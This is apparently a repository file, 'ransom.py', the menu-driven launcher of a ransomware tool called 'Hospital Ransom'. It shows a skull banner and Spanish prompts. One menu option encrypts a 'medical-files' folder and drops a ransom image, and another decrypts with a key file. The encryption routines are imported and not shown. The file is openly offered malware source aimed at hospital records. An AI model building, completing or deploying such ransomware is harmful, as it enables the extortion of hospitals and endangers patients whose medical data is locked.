Files
ransomware-hospital/ransom.py
2026-03-17 19:54:11 +00:00

77 lines
2.5 KiB
Python

import os
import sys
from src import encrypt_folder, decrypt_and_unpack, copy_prompt_image
def banner():
print(r""" uu$$$$$$$$$$$uu
uu$$$$$$$$$$$$$$$$$uu
u$$$$$$$$$$$$$$$$$$$$$u
u$$$$$$$$$$$$$$$$$$$$$$$u
u$$$$$$$$$$$$$$$$$$$$$$$$$u
u$$$$$$* *$$$* *$$$$$$u
*$$$$* u$u $$$$*
$$$u u$u u$$$
$$$u u$$$u u$$$
*$$$$uu$$$ $$$uu$$$$*
*$$$$$$$* *$$$$$$$*
u$$$$$$$u$$$$$$$u
u$*$*$*$*$*$*$u
uuu $$u$ $ $ $ $u$$ uuu
u$$$$ $$$$$u$u$u$$$ u$$$$
$$$$$uu *$$$$$$$$$* uu$$$$$$
u$$$$$$$$$$$uu ***** uuuu$$$$$$$$$
$$$$***$$$$$$$$$$uuu uu$$$$$$$$$***$$$*
*** **$$$$$$$$$$$uu **$***
uuuu **$$$$$$$$$$uuu
u$$$uuu$$$$$$$$$uu **$$$$$$$$$$$uuu$$$
$$$$$$$$$$**** **$$$$$$$$$$$*
*$$$$$* **$$$$**
$$$* $$$$*
_ _ _ _ _
| | | | (_) | | |
| |__| | ___ ___ _ __ _| |_ __ _| |
| __ |/ _ \/ __| '_ \| | __/ _` | |
| | | | (_) \__ \ |_) | | || (_| | |
|_|__|_|\___/|___/ .__/|_|\__\__,_|_|
| |
_____ |_|
| __ \
| |__) |__ _ _ __ _ __ ___ _ __ ___
| _ // _` | '_ \/ __|/ _ \| '_ ` _ \
| | \ \ (_| | | | \__ \ (_) | | | | | |
|_| \_\__,_|_| |_|___/\___/|_| |_| |_|
by Louden
""")
def main():
while True:
banner()
print("1. Cifrar archivos médicos")
print("2. Descifrar archivos usando 'key.txt'")
print("3. Salir")
choice = input("\nSelecciona una opción [1-3]: ")
if choice == "1":
print("\n[*] Inicializando el proceso de cifrado...")
encrypt_folder("medical-files", "files.enc")
copy_prompt_image()
elif choice == "2":
print("\n[*] Inicializando el proceso de descifrado...")
decrypt_and_unpack("files.enc", "key.txt", "restored_medical_files")
elif choice == "3":
print("\nSaliendo...")
break
else:
print("\n[-] Opción inválida. Prueba de nuevo")
input("\nPulsa Enter para vovler al menú")
os.system('clear')
if __name__ == "__main__":
main()